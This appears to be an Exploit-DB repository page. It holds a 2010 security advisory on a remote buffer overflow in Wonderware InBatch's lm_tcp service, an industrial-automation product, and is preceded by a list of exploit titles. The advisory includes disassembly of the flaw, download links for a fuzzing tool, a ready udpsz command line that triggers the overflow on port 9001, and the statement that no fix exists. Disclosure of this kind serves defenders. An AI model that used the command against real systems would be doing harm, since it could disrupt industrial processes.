ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
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3.8 KiB
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111 lines
No EOL
3.8 KiB
Text
Source: http://aluigi.org/adv/inbatch_1-adv.txt
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#######################################################################
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Luigi Auriemma
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Application: Wonderware InBatch
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http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx
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any other software that uses the lm_tcp server (called
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"Raima Database lockmgr") like Foxboro I/A Batch
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Versions: lm_tcp <= 9.0.0 0248.18.0.0 (InBatch <= 9.0sp1)
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Platforms: Windows, Linux
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Bug: buffer-overflow
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Exploitation: remote, versus server
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Date: 07 Dec 2010
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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InBatch is a software for the industry automation sector for creating
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batch processes.
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#######################################################################
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======
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2) Bug
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======
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The lm_tcp service listens (manually or automatically during the
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launching of "Environment Display/Manager") on port 9001 and is
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vulnerable to a buffer overflow during the copying of a string in a
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buffer of 150 bytes which is part of a fixed structure.
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The overflow (max 19204 chars) allows only to overwrite the two memory
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pointers located after the space assigned to the copying of the string
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and they are immediately used for two memset(buffer, 0, 2) operations
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with the consequent effect of writing a 16bit 0x0000 in an arbitrary
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memory location:
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00403E40 |> 8A01 /MOV AL,BYTE PTR DS:[ECX] ; strcpy
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00403E42 |. 8802 |MOV BYTE PTR DS:[EDX],AL
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00403E44 |. 83C1 01 |ADD ECX,1
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00403E47 |. 83C2 01 |ADD EDX,1
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00403E4A |. 84C0 |TEST AL,AL
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00403E4C |.^75 F2 \JNZ SHORT lm_tcp.00403E40
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00403E4E |. 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24]
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00403E52 |. 66:8B48 12 MOV CX,WORD PTR DS:[EAX+12]
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00403E56 |. 8B15 48A84000 MOV EDX,DWORD PTR DS:[40A848]
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00403E5C |. 66:83E9 78 SUB CX,78
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00403E60 |. 66:F7D9 NEG CX
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00403E63 |. 1BC9 SBB ECX,ECX
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00403E65 |. 83E1 0E AND ECX,0E
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00403E68 |. 83C1 58 ADD ECX,58
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00403E6B |. 898C16 98000000 MOV DWORD PTR DS:[ESI+EDX+98],ECX
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00403E72 |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
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00403E77 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
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00403E7D |. 8B940E 9C000000 MOV EDX,DWORD PTR DS:[ESI+ECX+9C] ; first pointer overwritten
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00403E84 |. 50 PUSH EAX
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00403E85 |. 52 PUSH EDX
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00403E86 |. E8 050C0000 CALL lm_tcp.00404A90 ; memset
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00403E8B |. A1 78A84000 MOV EAX,DWORD PTR DS:[40A878]
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00403E90 |. 8B0D 48A84000 MOV ECX,DWORD PTR DS:[40A848]
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00403E96 |. 8B940E A0000000 MOV EDX,DWORD PTR DS:[ESI+ECX+A0] ; second pointer overwritten
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00403E9D |. 50 PUSH EAX
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00403E9E |. 52 PUSH EDX
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00403E9F |. E8 EC0B0000 CALL lm_tcp.00404A90 ; memset
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/testz/udpsz.zip
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/15707.zip (udpsz.zip)
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udpsz -C "00004b14 00000000 00000001 00000000 0001 0000" -b 0x61 -T SERVER 9001 0x4b18
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#######################################################################
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======
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4) Fix
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======
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No fix.
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####################################################################### |